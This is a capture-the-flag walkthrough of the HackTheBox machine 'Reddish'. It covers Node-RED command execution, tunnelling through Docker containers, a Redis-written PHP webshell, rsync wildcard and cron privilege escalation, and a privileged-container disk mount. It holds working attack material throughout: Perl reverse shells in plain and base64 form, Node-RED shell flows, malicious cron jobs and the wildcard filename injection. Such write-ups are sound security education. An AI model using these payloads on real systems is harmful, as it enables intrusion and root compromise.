Reddish is one of my favorite boxes on HTB. The exploitation wasn’t that difficult, but it required tunneling communications through multiple networks, and operate in bare-bones environments without the tools I’ve come to expect. Reddish was initially released as a medium difficulty (30 point) box, and after the initial user blood took 9.5 hours, and root blood took 16.5 hours, it was raised to hard (40). Later, it was upped again to insane (50). To get root on this box, I’ll start with an instance of node-red, a javascript browser-based editor to set up flows for IoT. I’ll use that to get a remote shell into a container. From there I’ll pivot using three other containers, escalating privilege in one, before eventually ending up in the host system. Throughout this process, I’ll only have connectivity to the initial container, so I’ll have to maintain tunnels for communication.

Box Details

Name: Reddish
Release Date: 21 July 2018
Retire Date: 26 January 2019
OS: Linux
Base Points: 50 (initially 30)
Rated Difficulty:
72dergens - 0 days, 09:36:39
ConnorJC - 0 days, 16:28:48
Creator: yuntao



Everything starts off simply enough, with one port open, http on 1880:

# Nmap 7.70 scan initiated Sat Jul 21 17:28:13 2018 as: nmap -sT -p- --min-rate 5000 -oA nmap/alltcp
Nmap scan report for
Host is up (0.023s latency).
Not shown: 65534 closed ports
1880/tcp open  vsat-control

# Nmap done at Sat Jul 21 17:28:24 2018 -- 1 IP address (1 host up) scanned in 11.21 seconds

# Nmap 7.70 scan initiated Sat Jul 21 17:36:56 2018 as: nmap -p 1880 -sC -sV -oA nmap/port1880
Nmap scan report for
Host is up (0.018s latency).

1880/tcp open  http    Node.js Express framework
|_http-title: Error

Service detection performed. Please report any incorrect results at .
# Nmap done at Sat Jul 21 17:37:09 2018 -- 1 IP address (1 host up) scanned in 12.71 seconds

NodeRed - port 1880


NodeRed is a browser based editor to make flows for IoT devices and other technology to talk togetheri, and it runs on tcp 1880 by default.

Page root

Visiting simply returns Cannot GET /

I can issue a POST with curl, and get back some json data:

root@kali# curl -X POST

I wasted a lot of time trying to get this API to return something different based on data I posted to it. Finally, I noticed that data was giving me a new path to try, /red/9d9909fed4f56c82a64de65d3ca9292d.


On visiting that path, I’m presented with the Node-Red editor:


The editor has items grouped as “input”, “output”, “function”, “social”, “storage”, “analysis”, and “advanced”. Clicking on any given item will load a description of the item in the panel on the right.

Items can be dragged into the center pane, and connected with wires. Once my flow is complete, I’ll hit “Deploy”, and the flow is live. Some inputs also have a button on their left side. That item will generate its output when the button is pressed. For example, this “inject” will output a timestamp when the button is pressed.


Code Execution / Shell in Node-Red


In playing around with the editor, I built a few useful flows that will help with exploitation of Reddish. Flows show up nicely as images, but can also be imported/exported in json. I’ll provide the json for my flows in case you want to import and play with them. Just go to the menu, import, clipboard, and paste in the json.

Simple Command Shell

The first flow I wrote was a simple loop that would connect back to a nc listener, and then execute whatever it received and return the results:


It will initiate the connection when the the flow to output > is sent to stdin of the tcp connection. The TCP connection will come back to me. Then whatever I send back is sent to exec. The output of that is formatted and a prompt is added, and then sent back into the TCP connection, where I’ll receive it. Here’s the export:

[{"id":"3f7824bc.483a94","type":"tab","label":"Shell","disabled":false,"info":""},{"id":"9754e73a.fb7f5","type":"tcp request","z":"3f7824bc.483a94","server":"","port":"9001","out":"sit","splitc":" ","name":"","x":520,"y":80,"wires":[["df9367ea.2fd12"]]},{"id":"df9367ea.2fd12","type":"exec","z":"3f7824bc.483a94","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":170,"y":240,"wires":[["7cd3aeef.1a522"],["7cd3aeef.1a522"],[]]},{"id":"6a48f346.ccad1c","type":"inject","z":"3f7824bc.483a94","name":"","topic":"","payload":"> ","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":191.5,"y":50,"wires":[["9754e73a.fb7f5"]]},{"id":"7cd3aeef.1a522","type":"template","z":"3f7824bc.483a94","name":"results + prompt","field":"payload","fieldType":"msg","format":"handlebars","syntax":"mustache","template":"{{{payload}}}\n> ","output":"str","x":440,"y":240,"wires":[["9754e73a.fb7f5"]]}]

On pushing the button, I got a callback and could start to look around:

root@kali# nc -lnvp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 51766
> id
uid=0(root) gid=0(root) groups=0(root)

> pwd

> ls /home

> ls /home/node

Callback Shell

In investigating the box, it’s incredibly bare: no python, python3, php, nc, ifconfig, netstat, arp. There is perl though.

I’ll use the perl reverse shell from PentestMonkey to get a proper callback shell. The exec node runs a command. In this case, I’ll configure it to take input for the port, which is inserted into the middle of the command:


So the flow looks like:

[{"id":"6fe6b87a.30d988","type":"tab","label":"Reverse_TCP","disabled":false,"info":""},{"id":"6caeb9ad.e39468","type":"inject","z":"6fe6b87a.30d988","name":"9002","topic":"","payload":"9002","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":150,"y":160,"wires":[["97f946aa.853548"]]},{"id":"97f946aa.853548","type":"exec","z":"6fe6b87a.30d988","command":"perl -e 'use Socket;$i=\"\";$p=","addpay":true,"append":";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'","useSpawn":"false","timer":"","oldrc":false,"name":"perl rev shell","x":350,"y":160,"wires":[["e2dba6a9.bb9fe8"],["e2dba6a9.bb9fe8"],[]]},{"id":"e2dba6a9.bb9fe8","type":"debug","z":"6fe6b87a.30d988","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":570,"y":160,"wires":[]}]

Pushing the button leads to shell!

root@kali# nc -lnvp 9002
listening on [any] 9002 ...
connect to [] from (UNKNOWN) [] 45908
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# hostname

File Upload

Since the box doesn’t have curl or wget or nc, I created a file upload flow, that would callback to a given port, and then what it reads to /tmp/.df/upload:


The string “9003” is not used by the TCP node, it’s just there because I needed something, and it was a good visual reminder as to what port the flow expected.

nodered Container

Local Enumeration

The local box is quite bare. I’m already running as root. As mentioned before, almost none of programs I’d expect on a linux host are present. Also, none of the IP addresses match

# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
9: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:03 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth1
       valid_lft forever preferred_lft forever
11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever

I can conclude I’m in a container, and I didn’t find much else of interest in it.

Since I’m in a container, I’ll start tracking what I know about it:

Network Enumeration

It’s fairly clear I need to move outside this container, and since there’s no obvious path to the host, I’ll look around the environment.

Check arp

The arp cache shows only the two .1 ips, which are likely the host:

# cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device       0x1         0x2         02:42:bc:00:fb:35     *        eth1       0x1         0x2         02:42:de:ac:1d:ce     *        eth0

nmap Host

I uploaded a statically compiled nmap (and a copy of /etc/services from kali to the same path) to check out the .1s:

# ./nmap-static -p- -sT --min-rate 5000

Starting Nmap 6.49BETA1 ( ) at 2018-07-24 10:57 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
1880/tcp open  unknown
MAC Address: 02:42:1F:A4:77:C3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds
# ./nmap-static -p- -sT --min-rate 5000

Starting Nmap 6.49BETA1 ( ) at 2018-07-24 10:57 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00013s latency).
Not shown: 65534 closed ports
1880/tcp filtered unknown
MAC Address: 02:42:F2:E9:5E:A1 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds

I suspect it is the host, and that that 1880 is the forwarded port to the nodered vm.

Ping Sweep

Next I’ll start a ping sweep to look for other hosts/containers, and find two other hosts worth looking at in the subnet. Based on my current ifconfig and my assumption about the .1s being the gateway, I can label the output leaving two unknowns:

# for i in $(seq 1 254); do (ping -c 1 172.18.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done  <-- host  <-- node-red container
# for i in $(seq 1 254); do (ping -c 1 172.19.0.$i | grep "bytes from" | cut -d':' -f1 | cut -d' ' -f4 &); done             <-- host  <-- nodered container

Note the use of () and & in the ping sweep so that this runs in just over a second, and doesn’t take 256 seconds to run.

I’ve got two new hosts to track:



There’s many ways to set up tunnels to allow my pivot here. A few that come to mind are:

  1. Get a meterpreter session with nodered, and use the portfwd capability to tunnel from my local box into the network (like ssh tunneling).
  2. Copy an ssh client to nodered, and ssh back into my kali box with a reverse tunnel.
  3. Build a listening interface (likely web) with NodeRed, and use that to tunnel traffic.
  4. Using software designed for tunneling.

The third would be interesting, and I’d love to see a flow for someone who pulled it off, but I’ll leave that an an exercise for the reader.

ssh isn’t too bad, and I’ll show how to achieve it in Beyond Root using dropbear.

I’ve learned of a couple new tunneling software recently, and I hope to follow up with post on them soon.

For now, I’m going to use Metasploit. I typically avoid using Metasploit, but this is a good case for it.

Getting Meterpreter

I’ll get a meterpreter session going with nodered.

This is actually really easy with existing setup. I already have a flow that generates a callback to port 9002. I’ll catch that in metasploit, and then upgrade that shell to meterpreter.

Open a handler with payload linux/x64/shell/reverse_tcp, and catch a callback from my flow:

msf exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (linux/x64/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST      yes       The listen address (an interface may be specified)
   LPORT  9002             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 
[*] Sending stage (38 bytes) to
[*] Command shell session 1 opened ( -> at 2018-07-27 06:33:58 -0400

/bin/sh: 0: can't access tty; job control turned off

For some reason, the first command run in this new shell can be garbage and fail. After making sure to get that out of the way, I’ll background the session (ctrl-z):

# id
/bin/sh: 1: j^H��j!Xu�j: not found
/bin/sh: 1: X�H�/bin/shSH��RWH��id: not found
# id
uid=0(root) gid=0(root) groups=0(root)
# ^Z
Background session 1? [y/N]  y
msf exploit(multi/handler) >

Metasploit has a built in upgrade path to Meterpretere using sessions -u:

msf exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 
[*] Sending stage (861480 bytes) to
[*] Meterpreter session 2 opened ( -> at 2018-07-27 06:37:15 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
msf exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

Adding Forwards

Now I can add forwards over this session. I’ll still do everything else through my initial session, because I’m more comfortable there. But if i want to add a route, I’ll issue a command such as:

meterpreter > portfwd add -l 80 -r -p 80

That will add a pipe from 80 on my local machine to 80 on

I’ll show these as I bring them up throughout (the one above was just an example).

www / redis Containers

Note About IPs

One thing to note - on each reset / boot, Docker seems to randomize the IP addresses of the three containers, nodered, www, and redis. They always seem to be .2, .3, and .4, but which is which is something I need to determine each time. For the sake of this post, I’m working with redis as .2, nodered as .3, and www as .4.


Get an nmap scan of these two new hosts:

# ./nmap-static -p- -sT --min-rate 5000

Starting Nmap 6.49BETA1 ( ) at 2018-07-24 11:19 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_redis_1.reddish_composition_internal-network (                                                                       
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
6379/tcp open  unknown
MAC Address: 02:42:AC:13:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.49 seconds
# ./nmap-static -p- -sT --min-rate 5000

Starting Nmap 6.49BETA1 ( ) at 2018-07-24 11:19 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_www_1.reddish_composition_internal-network (                                                                         
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00016s latency).
Not shown: 65534 closed ports
80/tcp open  http
MAC Address: 02:42:AC:13:00:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds

I can see the docker names, reddish_composition_redis_1 and reddish_composition_www_1, and the listening ports which fit for each server, 6379 for redis, and 80 for www.

Web Site


I’ll use the meterpreter shell to port forward localhost 80 through the session to

meterpreter > portfwd add -l 80 -r -p 80
[*] Local TCP relay created: :80 <->

Visiting gives the page:



Much more interesting than the displayed page is the javascript in the source:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "">
<html xmlns="">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <script src="{{ "/img/jquery.js" type="text/javascript"></script>
        <script type="text/javascript">
            $(document).ready(function () {

            function getData() {
                    url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
                    cache: false,
                    dataType: "text",
                    success: function (data) {
                        console.log("Number of hits:", data)
                    error: function () {

            function incrCounter() {
                    url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
                    cache: false,
                    dataType: "text",
                    success: function (data) {
                        console.log("HITS incremented:", data);
                    error: function () {

            * TODO
            * 1. Share the web folder with the database container (Done)
            * 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
            * ...Still don't know how to complete it...
            function backupDatabase() {
                    url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
                    cache: false,
                    dataType: "text",
                    success: function (data) {
                        console.log("Database saved:", data);
                    error: function () {
    <body><h1>It works!</h1>
    <p>This is the default web page for this server.</p>
    <p>The web server software is running but no content has been added, yet.</p>

There’s two important take-aways from this source:

  1. There are ajax calls to 8924d0549008565c554f8128cd11fda4/ajax.php. Based on the parameters values for the test of get hits and incr hits (which look like redis commands), I can hypothesize that these commands are executed on the redis database.
  2. There’s some self-proclaimed incomplete code having to do with backing up that database. It does indicate that the web folder is shared with the database container.

I can also test out these function in the firefox debug console:


What about trying to exercise the backup function? Visiting eventually has a timeout, which makes sense since the comments said it was not yet implemented:


This error message does give me the absolute web path, which is the default apache path, /var/www/html.


So I can do some interaction with the database through the website and JavaScript… But I can also interact directly with the Redis database.

Just like with www, I’ll use meterpreter to set up a tunnel into the subnet with www and redis:

meterpreter > portfwd add -l 6379 -r -p 6379
[*] Local TCP relay created: :6379 <->

I can do basic enumeration with nc:

root@kali# nc 6379
get hits
incr hits
get hits
incr hits
get hits

Very cool.

I also installed redis-cli for interaction with the db:

  1. git clone
  2. cd redis
  3. make redis-cli
  4. ln -s /opt/redis/src/redis-cli /usr/local/bin/redis-cli
root@kali# redis-cli  # by default, connects to localhost 6379> incr hits
HISTORY: /root/.rediscli_history
(integer) 1> incr hits
HISTORY: /root/.rediscli_history
(integer) 2> get hits
HISTORY: /root/.rediscli_history


This post on PacketStorm details how I can use Redis to write arbitrary files on disk. I can flush the database, write some data into it, and then back it up to a target location. The article talks about writing an SSH key. SSH isn’t enabled here, but, because I know that the database server shares disk space with www, I can write a web shell.

Exploit Limitations

This isn’t by any means perfect. For example, the database will compress repeated text patterns, so could I lose some of the text I want to write. So for example, when I tried to write <br/> into multiple places in a php file, only the first actually made it through as desired. Even if I tried using <br/> and <br />, the second <br was replaced with binary data. Similarly, when I wrote a command to get a perl reverse shell, the pattern ,">&S"); was replaced and thus broke the script.

Exploit to WebShell

Luckily for me, I can write a simple php webshell, and there’s no repeats, and php doesn’t care about garbage before or after the shell.

Steps (all in redis-cli):

  1. flush the database
  2. write shell to database
  3. set directory
  4. set filename
  5. save
root@kali# cat redis.txt  # show the shell file

<?php system($_REQUEST['cmd']); ?>

root@kali# redis-cli -h  flushall  # step 1
root@kali# cat redis.txt | redis-cli -x set crackit  # step 2
root@kali# redis-cli> config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/  # step 3
HISTORY: /root/.rediscli_history
OK> config set dbfilename "df.php"       # step 4
HISTORY: /root/.rediscli_history
OK> save                                 # step 5
HISTORY: /root/.rediscli_history

Now check out


There’s other mess there, but the id command ran and returned results, which I marked in red.

hostname shows the host is named www:


Script Redis WebShell

The files in the web directory seem to be cleared out every 3 minutes (I’ll confirm this soon), so I have to work quick. I scripted the upload:


redis-cli -h flushall
cat redis.txt | redis-cli -h -x set crackit
redis-cli -h config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
redis-cli -h config set dbfilename "df.php"
redis-cli -h save

On running, it puts the cmd shell in place:

root@kali# ./

Interactive Shell

Now with command execution, I’ll get an interactive shell.

Connectivity - socat

It doesn’t look like I can connect all the back to kali from this host. which ping returns /bin/ping, but trying to ping doesn’t result in anything when watching in tcpdump. When I try to ping (nodered), I get results:


So I need to pivot through nodered. I’ll upload a static copy of socat to the box using the Node-Red flow for upload. Now I can use socat one of two ways:

  1. Relay traffic through nodered back to kali
  2. Catch the callback on nodered

I’ll do the first one, so in the shell on nodered, create a tunnel:

# /tmp/s tcp-listen:223,fork tcp: &

That will run in the background, and forward any traffic that hits port 223 on nodered to my workstation on port 223.


And, like nodered, there’s a limited toolset available. Luckily, perl is still present (a phrase I never thought I’d say).

To get this working, it took a fair amount of playing with the url encoding. In the end, I had success by visiting the following url in a browser:$i%3d%22172.19.0.3%22%3b$p%3d2223%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(%22tcp%22))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,%22%3E%26S%22)%3bopen(STDOUT,%22%3E%26S%22)%3bopen(STDERR,%22%3E%26S%22)%3bexec(%22/bin/sh+-i%22)%3b}%3b%27

Sometimes, the box would get into a state where my callback would come through, but it would return this error and die:

root@kali# nc -lnvp 223
listening on [any] 223 ...
connect to [] from (UNKNOWN) [] 40772
Insecure $ENV{PATH} while running setuid at -e line 1.

I could fix this by adding $ENV{PATH} = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; to the start of my perl command, which is the path from nodered.


Putting it all together, I have a webshell executing a perl reverse shell command, calling back to nodered on port 223, which forwards that traffic to my workstation on port 223.

  1. Upload shell:

    root@kali# ./
  2. Trigger perl shell:$ENV{PATH}%20=%20%22/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin%22;use%20Socket%3b$i%3d%22172.19.0.3%22%3b$p%3d2223%3bsocket(S,PF_INET,SOCK_STREAM,getprotobyname(%22tcp%22))%3bif(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,%22%3E%26S%22)%3bopen(STDOUT,%22%3E%26S%22)%3bopen(STDERR,%22%3E%26S%22)%3bexec(%22/bin/sh+-i%22)%3b}%3b%27

  3. Catch callback:

    root@kali# nc -lnvp 223
    listening on [any] 223 ...
    connect to [] from (UNKNOWN) [] 41236
    /bin/sh: 0: can't access tty; job control turned off
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $ hostname

Now, I can see user.txt… but I can’t open it:

$ cd /home/somaro
$ ls
$ cat user.txt
cat: user.txt: Permission denied

I can also see ajax.php, which shows the commands running at the redis server:


require_once 'lib/Autoloader.php';
$json = new JsonResult();
$config = new Config();
foreach ($config->getPool() as $key => $server) {
        $client = new Client($server);
        $result = $client->sendCmd($_GET['test']);
        echo $result;

Privesc: www-data –> root (user.txt)

Identifying Backup Cron

To get to user.txt, I’ll need to privesc. Looking around the box, there wasn’t a ton going on, so I decided to look for interesting processes starting and stopping. I’ve been a huge fan of pspy in the past for this, but since I’m two hops deep at this point, I’ll just using a bash script:



old=$(ps -eo command)
while true; do
    new=$(ps -eo command)
    diff <(echo "$old") <(echo "$new") | grep [\<\>]
    sleep .3

Running it shows some interesting scripts being run about every 3 minutes:

$ ./
> /usr/sbin/CRON
> /bin/sh -c sh /backup/
> sh /backup/
> rsync -a rsync://backup:873/src/backup/ /var/www/html/
> rsync -a rsync://backup:873/src/backup/ /var/www/html/

Looking at /backup/, it is saving the database, then removing the web folders and bringing them back in from a host named backup:

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Exploiting the Wildcard

I can exploit the command rsync -a *.rdb rsync://backup:873/src/rdb, specifically the wildcard character. Because of how Unix handles wildcards, I can create a file named -e sh p.rdb, and that will evaluate to run sh p.rdb. The technique is detailed here.

I’ll first set up a tunnel on nodered:

# /tmp/s tcp-listen:9010,fork tcp: &

Now write a perl reverse shell into a file and create the other file to run it. I’ll use base64 to easily move small files back and forth:

root@kali# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuMyI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d
perl -e 'use Socket;$i="";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

I’ll create my reverse shell script as p.rdb, and then create the file that will call that abusing the wildcard with touch:

$ echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjE5LjAuMyI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/p.rdb

$ touch /var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e\ sh\ p.rdb

When the cron runs, I’ll catch a callback as root on www when the backup script runs:

root@kali# nc -lnvp 9010
listening on [any] 9010 ...
connect to [] from (UNKNOWN) [] 51920
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# hostname

And I can grab user.txt:

# cat /home/somaro/user.txt

I can also verify the backup cron job that was running (though I now notice I could have read this even as www–data):

# pwd

# ls -l
total 4
-rw-r--r-- 1 root root 38 May  4 20:55 backup

# cat backup
*/3 * * * * root sh /backup/

File Upload to www

To move to the next steps, I’ll want to get files uploaded to www, which is challenging without curl, wget, or nc. Here’s how I do it:

Start a tunnel on nodered that will listen (in this case on 8080) and forward that to my host:

# /tmp/s TCP-LISTEN:8080,fork TCP: &

Use perl to request file:

# perl -e 'use File::Fetch; my $url = ""; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'

Serve from workstation:

root@kali# python3 -m http.server 8888
Serving HTTP on port 8888 ( ... - - [25/Jul/2018 08:32:32] "GET /socat HTTP/1.1" 200 -

backup Container


The backup script not only provides a path to root on www, but it also tells me about another host, backup. If I ping -c 1 backup, I’ll see it resolves to I’ll upload nmap to www and see what’s open:

# ./nmap -p- --min-rate 5000

Starting Nmap 6.49BETA1 ( ) at 2018-07-25 12:36 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_backup_1.reddish_composition_internal-network-2 (
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000034s latency).
Not shown: 65534 closed ports
873/tcp open  rsync
MAC Address: 02:42:AC:14:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds

It makes sense that it’s open on 873, rsync, which is how www was connecting to it.

I’ll update my diagram:

rsync access

rsync gives me full read and write access to backup. I can read the file system:

# rsync rsync://backup:873/src
drwxr-xr-x          4,096 2018/07/25 12:59:07 .
-rwxr-xr-x              0 2018/05/04 21:01:30 .dockerenv
-rwxr-xr-x            100 2018/05/04 19:55:07
-rw-r--r--            344 2018/07/25 12:59:07 shell
drwxr-xr-x          4,096 2018/07/15 17:42:41 backup
drwxr-xr-x          4,096 2018/07/15 17:42:39 bin
drwxr-xr-x          4,096 2018/07/15 17:42:38 boot
drwxr-xr-x          4,096 2018/07/15 17:42:39 data
drwxr-xr-x          3,720 2018/07/25 09:24:48 dev
drwxr-xr-x          4,096 2018/07/15 17:42:39 etc
drwxr-xr-x          4,096 2018/07/15 17:42:38 home
drwxr-xr-x          4,096 2018/07/15 17:42:39 lib
drwxr-xr-x          4,096 2018/07/15 17:42:38 lib64
drwxr-xr-x          4,096 2018/07/15 17:42:38 media
drwxr-xr-x          4,096 2018/07/15 17:42:38 mnt
drwxr-xr-x          4,096 2018/07/15 17:42:38 opt
dr-xr-xr-x              0 2018/07/25 09:24:48 proc
drwxr-xr-x          4,096 2018/07/25 12:59:01 rdb
drwx------          4,096 2018/07/15 17:42:38 root
drwxr-xr-x          4,096 2018/07/25 09:24:52 run
drwxr-xr-x          4,096 2018/07/15 17:42:38 sbin
drwxr-xr-x          4,096 2018/07/15 17:42:38 srv
dr-xr-xr-x              0 2018/07/25 09:24:48 sys
drwxrwxrwt          4,096 2018/07/25 13:00:01 tmp
drwxr-xr-x          4,096 2018/07/15 17:42:39 usr
drwxr-xr-x          4,096 2018/07/15 17:42:39 var

I can write to the file system:

# rsync rsync://backup:873/src/tmp/
drwxrwxrwt          4,096 2018/07/26 21:27:16 .
# rsync 0xdf rsync://backup:873/src/tmp/
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt          4,096 2018/07/26 21:27:34 .
-rw-r--r--              0 2018/07/26 21:27:34 0xdf

Shell via Cron

I’ll use the read / write access to verify that cron is enabled, and then write one to get shell.

There’s already a cron named clean in the folder, which is a good sign that cron is enabled:

# rsync rsync://backup:873/src/etc/cron.d/
drwxr-xr-x          4,096 2018/07/25 21:41:13 .
-rw-r--r--            102 2015/06/11 10:23:47 .placeholder
-rw-r--r--             29 2018/05/04 20:57:55 clean

I’ll write a cron file. First, a shell script that calls back to www on port 9010:

# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjIwLjAuMyI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > 
# cat
perl -e 'use Socket;$i="";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# rsync -a rsync://backup:873/src/tmp/
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt          4,096 2018/07/25 21:38:36 .
-rw-r--r--            220 2018/07/25 21:37:39

Now write the cron:

# echo '* * * * * root sh /tmp/' > shell
# rsync -a shell rsync://backup:873/src/etc/cron.d/

Rather than tunnel everything thing back to kali, I’ll just use socat to listen on www in this case. That gets me a callback as root on backup:

# /tmp/socat TCP-LISTEN:9010 STDOUT
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# hostname

reddish Host

File System Access

backup is rather bare, other than the information I already had. However, one of the mis-configurations that can come with docker is running with --privileged. There’s some detail on slide 20 here. That flag provides access to the raw devices in /dev on the host.

For example, on www, if I look at /dev, I see this:

# ls /dev

But on backup, I see a lot more, including the disks:

# ls /dev
# ls /dev/ | wc -l

This raw device access is enough to provide file system access:

# mount /dev/sda1 /mnt
# ls /mnt/root/

July 2023 update: It seems the machine got updated at some point, and the partition with the host file system is now /dev/sda2.

Now I can grab the flag:

# cat /mnt/root/root.txt

root Shell

With write access to /etc/cron.d, I can get a root shell easily. And, reddish can talk directly home, so I don’t have to make tunnels, which is nice. Write a shell script:

# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuMTQiOyRwPTkwMTA7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jwo= | base64 -d >
